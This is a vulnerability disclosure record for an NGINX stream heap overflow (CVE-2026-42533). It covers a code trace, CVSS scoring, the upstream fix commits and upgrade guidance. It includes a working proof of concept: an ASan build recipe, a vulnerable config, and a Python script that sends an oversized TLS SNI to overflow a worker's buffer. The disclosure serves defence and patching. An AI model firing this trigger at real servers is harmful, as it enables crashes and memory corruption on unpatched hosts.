Skip to content
winfunc
Disclosure record · NGINX

Stream complex-value capture desynchronization causes heap overflow (CVE-2026-42533)

NGINX stream complex values allocated from stale capture state, then copied attacker-controlled regex captures

NGINXCVE-2026-42533DisclosedSource record

CVSS 3.1 base score

High
8.1/ 10

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Record

Project
NGINX
Severity
High8.1
CVE
CVE-2026-42533
Disclosed
Trace
8 steps

Summary

Source

ngx_stream_core_preread_phase()

src/stream/ngx_stream_core_module.c:412

Sink

ngx_stream_script_copy_capture_code()

src/stream/ngx_stream_script.c:940

ngx_stream_complex_value() calculated an output length and copied the output in separate passes over mutable session-wide regex capture state. In a stream expression such as return "$1$m", the first pass initially counted $1 as zero bytes. Evaluating the later $m variable ran a regex-backed map over attacker-controlled TLS SNI and populated the session's capture array. The copy pass then revisited $1, found the new capture, and copied the SNI hostname into the buffer allocated from the stale one-byte length.

A live ASan build at NGINX commit e8053c867f9ab14f323e3019ccab585d857abb66 confirmed a 12,000-byte write in ngx_stream_script_copy_capture_code() past the one-byte complex-value allocation. The public F5 advisory, GitHub advisory, and CVE record classify the issue as CWE-122. They assign CVSS 3.1 score 8.1 (High) and CVSS 4.0 score 9.2 (Critical), describe both regex-map capture ordering and non-cacheable-variable variants, and identify NGINX Open Source 1.30.4 and 1.31.3 as the fixed releases. The NGINX security index lists 0.9.6-1.31.2 as vulnerable and 1.31.3+ as not vulnerable. F5 credits Mufeed VH of Winfunc Research among the researchers who independently reported the issue.

NGINX shipped the mainline fix in PR #1561. The patch series first simplified capture-copy accounting in commit 2821920, added bounds checks to HTTP and stream script copies in commit b767540, and extended the same protection to direct HTTP script users in commit 25f920e. Stable NGINX 1.30 received the corresponding commits ea47fab, 7ac6789, and 326b17b through PR #1563.

Severity

Attack vectorAV
Network
Attack complexityAC
High
Privileges requiredPR
None
User interactionUI
None
ScopeS
Unchanged
ConfidentialityC
High
IntegrityI
High
AvailabilityA
High

Metric values as published in the disclosure vector. Meters show how far each value raises exposure.

Source-to-sink trace

  1. Source · attacker-controlledsrc/stream/ngx_stream_core_module.c:412

    ngx_stream_core_preread_phase()

  2. Step 01src/stream/ngx_stream_core_module.c:412

    A client connected to the reachable stream listener and supplied unauthenticated preread bytes. With ssl_preread on, those bytes were parsed as a TLS ClientHello before any upstream connection or application authentication.

    cpp
    n = c->recv(c, b->last, size);
    
  3. Step 02src/stream/ngx_stream_ssl_preread_module.c:401-407

    The SSL preread parser allocated storage for the SNI hostname using the length encoded by the client. The generic parser copy state then copied the attacker-controlled hostname bytes into this session-owned buffer.

    cpp
    host = ngx_pnalloc(ctx->pool, size);
    if (host == NULL) {
        return NGX_ERROR;
    }
    
    ctx->host.data = host;
    
  4. Step 03src/stream/ngx_stream_script.c:82-100

    ngx_stream_complex_value() ran all length opcodes, allocated exactly that predicted length, and only then ran the copy opcodes. Both passes read mutable capture fields from the same ngx_stream_session_t.

    cpp
    for (i = 0; ip && *ip; i++) {
        lcode = *(ngx_stream_script_len_code_pt *) ip;
        len += lcode(&le);
    }
    
    value->len = len;
    value->data = ngx_pnalloc(s->connection->pool, len);
    
    while (*(uintptr_t *) e.ip) {
        code = *(ngx_stream_script_code_pt *) e.ip;
        code((ngx_stream_script_engine_t *) &e);
    }
    
  5. Step 04src/stream/ngx_stream_script.c:909-914 (before fix)

    The $1 length opcode ran before the regex-backed map variable. With no current capture, it contributed zero bytes to the allocation and did not reserve space for a later capture.

    cpp
    if (n < s->ncaptures) {
        cap = s->captures;
        return cap[n + 1] - cap[n];
    }
    
    return 0;
    
  6. Step 05src/stream/ngx_stream_variables.c:1172-1184

    The following $m length opcode evaluated map $ssl_preread_server_name $m. Its regex matched the attacker-controlled SNI and published new offsets and captures_data into the session-wide capture state after $1 had already been sized.

    cpp
    rc = ngx_regex_exec(re->regex, str, s->captures, len);
    
    if (rc == NGX_REGEX_NO_MATCHED) {
        return NGX_DECLINED;
    }
    
    s->ncaptures = rc * 2;
    s->captures_data = str->data;
    
  7. Step 06src/stream/ngx_stream_script.c:87-90

    With the map value X, the stale predicted output length was one byte. NGINX allocated that one-byte result even though $1 now referred to the much longer SNI capture.

    cpp
    value->len = len;
    value->data = ngx_pnalloc(s->connection->pool, len);
    
  8. Step 07src/stream/ngx_stream_script.c:937-940 (before fix)

    During the copy pass, the $1 opcode observed the newly populated capture state and copied the full SNI hostname without checking the remaining result-buffer capacity. The ASan proof reached this sink with a 12,000-byte write.

    cpp
    if (n < s->ncaptures) {
        cap = s->captures;
        p = s->captures_data;
        e->pos = ngx_copy(pos, &p[cap[n]], cap[n + 1] - cap[n]);
    }
    
  9. Step 08src/stream/ngx_stream_script.c:680-704,982-989 (fix, commit b767540)

    The accepted fix records the allocated buffer end and routes literal, variable, and capture copies through a shared length guard. A mismatch logs an alert, stops the script, sets an internal-error status, and makes ngx_stream_complex_value() fail closed.

    cpp
    if (e->end - e->pos < (ssize_t) len) {
        ngx_log_error(NGX_LOG_ALERT, e->session->connection->log, 0,
                      "no buffer space in script copy");
        e->ip = ngx_stream_script_exit;
        e->status = NGX_STREAM_INTERNAL_SERVER_ERROR;
        return NGX_ERROR;
    }
    
    /* capture copy */
    if (ngx_stream_script_check_length(e, len) != NGX_OK) {
        return;
    }
    
    e->pos = ngx_copy(pos, p, len);
    
  10. Sinksrc/stream/ngx_stream_script.c:940

    ngx_stream_script_copy_capture_code()

Impact

Reported impact

The demonstrated primitive is an unauthenticated remote heap/pool out-of-bounds write in an NGINX worker, with write contents and length controlled through TLS SNI. The proof copied 12,000 attacker-controlled bytes into an output allocation sized for one byte. ASan and hardened allocators terminate the worker, producing denial of service; without them, adjacent pool or heap state can be corrupted. The public CVE states that code execution is possible when ASLR is disabled or bypassed, but this proof does not claim a reliable production code-execution chain.

Attack surface

NGINX Open Source and NGINX Plus data-plane listeners that evaluate affected complex values. The confirmed stream path requires ngx_stream_module, PCRE/PCRE2 support, ngx_stream_ssl_preread_module, a reachable stream listener, and a regex-backed stream variable such as map $ssl_preread_server_name $m. The public advisory also covers equivalent HTTP map/regex and non-cacheable-variable length/copy desynchronization patterns.

Preconditions

For the demonstrated stream trigger, ssl_preread on must expose attacker-controlled SNI to a regex-backed map, and the same complex value must reference a positional capture before the map output, such as return "$1$m". No earlier regex may have populated an equivalent capture before the length pass. The attacker needs no authentication, local access, or user interaction, but exploitation depends on this non-default configuration.

Attack path

  1. 1

    Connect to the public stream listener and send a TLS ClientHello containing a long attacker-controlled SNI hostname.

  2. 2

    Make the first complex-value length opcode inspect a positional capture before any capture exists, so it reserves zero bytes.

  3. 3

    Let a later map variable execute its regex over the SNI and replace the session-wide capture state.

  4. 4

    Allow the length pass to allocate only the map output length, one byte for X in the confirmed configuration.

  5. 5

    Reach the copy pass, where the positional capture now exists and the vulnerable opcode copies the long SNI beyond the allocation.

Proof of concept

Reproduction5 stages
  1. 01

    Environment setup

    Check out the confirmed vulnerable NGINX revision and build it with the stream preread module and AddressSanitizer:

    bash
    git clone https://github.com/nginx/nginx.git
    cd nginx
    git checkout e8053c867f9ab14f323e3019ccab585d857abb66
    
    auto/configure \
      --with-stream \
      --with-stream_ssl_preread_module \
      --with-debug \
      --with-cc-opt='-O1 -g -fsanitize=address -fno-omit-frame-pointer' \
      --with-ld-opt='-fsanitize=address'
    make -j"$(getconf _NPROCESSORS_ONLN 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 2)"
    
  2. 02

    Target configuration

    Save this as conf/capture-desync.conf and start NGINX in the foreground with ASAN_OPTIONS='detect_leaks=0:abort_on_error=1:symbolize=1' objs/nginx -p "$PWD" -c conf/capture-desync.conf:

    nginx
    worker_processes 1;
    master_process off;
    daemon off;
    pid /tmp/nginx-capture-desync.pid;
    error_log stderr debug;
    
    events { worker_connections 1024; }
    
    stream {
        map $ssl_preread_server_name $m {
            ~^(.+)$ X;
            default X;
        }
    
        server {
            listen 127.0.0.1:8443;
            ssl_preread on;
            return "$1$m";
        }
    }
    
  3. 03

    Exploit delivery

    Send a TLS ClientHello whose SNI hostname contains 12,000 a bytes:

    python
    import socket
    import struct
    
    sni = b"a" * 12000
    
    ext_data = struct.pack("!H", 3 + len(sni))
    ext_data += b"\x00"
    ext_data += struct.pack("!H", len(sni))
    ext_data += sni
    
    sni_ext = b"\x00\x00" + struct.pack("!H", len(ext_data)) + ext_data
    
    body = b"\x03\x03"
    body += b"\x00" * 32
    body += b"\x00"
    body += struct.pack("!H", 2) + b"\x13\x01"
    body += b"\x01\x00"
    body += struct.pack("!H", len(sni_ext)) + sni_ext
    
    handshake = b"\x01" + len(body).to_bytes(3, "big") + body
    record = b"\x16\x03\x01" + struct.pack("!H", len(handshake)) + handshake
    
    with socket.create_connection(("127.0.0.1", 8443), timeout=5) as sock:
        sock.sendall(record)
        try:
            sock.recv(64)
        except OSError:
            pass
    
  4. 04

    Expected response

    A vulnerable ASan build aborts with the capture copy in the stack:

    text
    ERROR: AddressSanitizer: heap-buffer-overflow
    WRITE of size 12000
    #1 ... in ngx_stream_script_copy_capture_code ngx_stream_script.c:940
    SUMMARY: AddressSanitizer: heap-buffer-overflow ngx_stream_script.c:940 in ngx_stream_script_copy_capture_code
    
  5. 05

    Outcome

    The request proves that regex evaluation between the length and copy passes can turn a previously absent positional capture into an attacker-sized copy. On NGINX 1.30.4, 1.31.3, or a build containing the applicable bounds-check commits, the same request must not produce an ASan report or crash the worker; the script should stop safely when the predicted and actual copy lengths diverge.

Remediation

Guidance

Upgrade NGINX Open Source to 1.31.3+ or the stable 1.30.4+ release. For source deployments, apply the full mainline security series from PR #1561 (2821920, b767540, and 25f920e) or the corresponding stable series from PR #1563 (ea47fab, 7ac6789, and 326b17b); the central bounds-enforcement commits are b767540492e8c79a58bc26034d3bab2f708b7bd1 and 7ac67898bdfed2140a1bedcda252074cca11f494. Before upgrading, remove affected complex-value ordering: do not reference positional captures before a regex-backed map output, prefer named captures scoped to the regex that creates them, and avoid volatile/non-cacheable expressions whose value can change between sizing and copying. Treat configuration changes only as temporary defense in depth because the upstream patch protects all standard script copy paths.

Before and after−11+20
e.ip = val->values;e.pos = value->data;e.buf = *value; while (*(uintptr_t *) e.ip) {    code = *(ngx_stream_script_code_pt *) e.ip;    code((ngx_stream_script_engine_t *) &e);} /* capture copy had no result-buffer bound */e->pos = ngx_copy(pos, &p[cap[n]], cap[n + 1] - cap[n]);e.ip = val->values;e.pos = value->data;e.end = value->data + len;e.buf = *value; while (*(uintptr_t *) e.ip) {    code = *(ngx_stream_script_code_pt *) e.ip;    code((ngx_stream_script_engine_t *) &e);} if (e.status) {    return NGX_ERROR;} /* every capture copy is now bounded */if (ngx_stream_script_check_length(e, len) != NGX_OK) {    return;} e->pos = ngx_copy(pos, p, len);
View original source record

Check the upstream record for the project's current remediation status.

Your codebase

Investigate the paths that matter in your codebase.

Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.